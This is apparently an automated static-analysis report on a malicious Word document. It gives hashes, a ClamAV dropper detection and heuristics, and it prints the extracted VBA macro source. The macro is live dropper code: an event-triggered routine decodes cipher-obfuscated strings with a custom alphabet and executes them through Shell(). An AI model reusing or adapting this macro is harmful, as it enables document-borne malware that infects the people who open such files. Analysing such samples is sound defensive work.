Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 70ffa2e690aaa6ba…

MALICIOUS

Office (OLE)

78.5 KB Created: 2018-06-28 08:31:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 1ff61c5c9f8dbc5e2550bdd14e790321 SHA-1: 43386000042d0919169033d78d3f40ea6dc2af38 SHA-256: 70ffa2e690aaa6bafaf3fa162dea38aa4ef26bf497b1c5e276906faaffa367fb
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. A critical heuristic indicates the presence of a Shell() call within the VBA code. The script attempts to decode strings and execute them via the Shell() function, which is a common technique for downloading and executing further malicious payloads. The specific decoded string used in the Shell() call is not fully reconstructible due to truncation, but the intent is clear.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6594332-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6594332-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2718 bytes
SHA-256: 7a5267d12a014265f6bbb9b0d2c27e97209a2a2cd1f51e04acde7379128a9bb1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
UserForm1.TextBox3 = "1"
End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{840637A2-B8A8-45F4-AF97-159F60CB50BD}{23041059-0EE2-4F25-B7A5-65165F73B9E3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub TextBox2_Change()
Shell UserForm1.TextBox2, 0
End Sub

Private Sub TextBox3_Change()
name1 = gnkruhl()
name2 = gnkruhl()
dec1 = DecodeString("/)kt[/tgfuiojxibbt]$gfuiojxibbt]]ls(/pdf(t")
dec2 = DecodeString("{.jpod(z,t\")
dec3 = DecodeString("};{(iu f'ci/ptjajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\")
dec4 = DecodeString("_$$qp)gq|")
dec5 = DecodeString("%imi$$}:jphop gof/ijjt$$qp)gq|")
dec6 = DecodeString("%imi$$:-poa;")
dec7 = DecodeString("{$$xppgr[[ibi/poflbsmiysdg)i(pjg""pbpk%/f)[gb%'d($$}-/hp/x;")
dec8 = DecodeString("{$$xppgr[[zfbfoh)bpk%/f)[gb%'d($$}-$]]tetfsp ldbit i(/fkd(zthj/ddt ldbighpxtqp)gq|")
dec9 = DecodeString("%'hp:tjphop gof/ijjt$qp)gq|")
dec10 = DecodeString("%'hp$t ud(kfujpabitxdkki(]")
name3 = gnkruhl()
name4 = gnkruhl()
text = ""
test2 text, dec1, name1
test2 text, dec2, name2
test2 text, dec3, name2
test2 text, dec4, name3
test2 text, dec5, name3
test2 text, dec6, name1
test2 text, dec7, name1
test2 text, dec8, name4
test2 text, dec9, name4
test2 text, dec10, ""
UserForm1.TextBox2 = text
End Sub

Attribute VB_Name = "Module1"
Function gnkruhl()
Randomize
leng = 6 * Rnd() + 4
name1 = ""
For i = 1 To leng
num = 24 * Rnd() + 97
name1 = name1 + Chr(num)
Next i
gnkruhl = name1
End Function

Function DecodeString(text)
decode = ""
For i = 1 To Len(text)
decode = decode + GetAlphabetSymbol(fghyut(Mid(text, i, 1)), 5)
Next i
DecodeString = decode
End Function

Function GetAlphabetSymbol(num, key)
If num - key < 1 Then
GetAlphabetSymbol = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
GetAlphabetSymbol = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function fghyut(yuiuv)
gutjh = UserForm1.TextBox1
For i = 1 To Len(gutjh)
If yuiuv = Mid(gutjh, i, 1) Then
fghyut = i
End If
Next i
End Function

Attribute VB_Name = "Module2"
Function test2(ByRef text, dec, name)
text = text + dec + name
End Function

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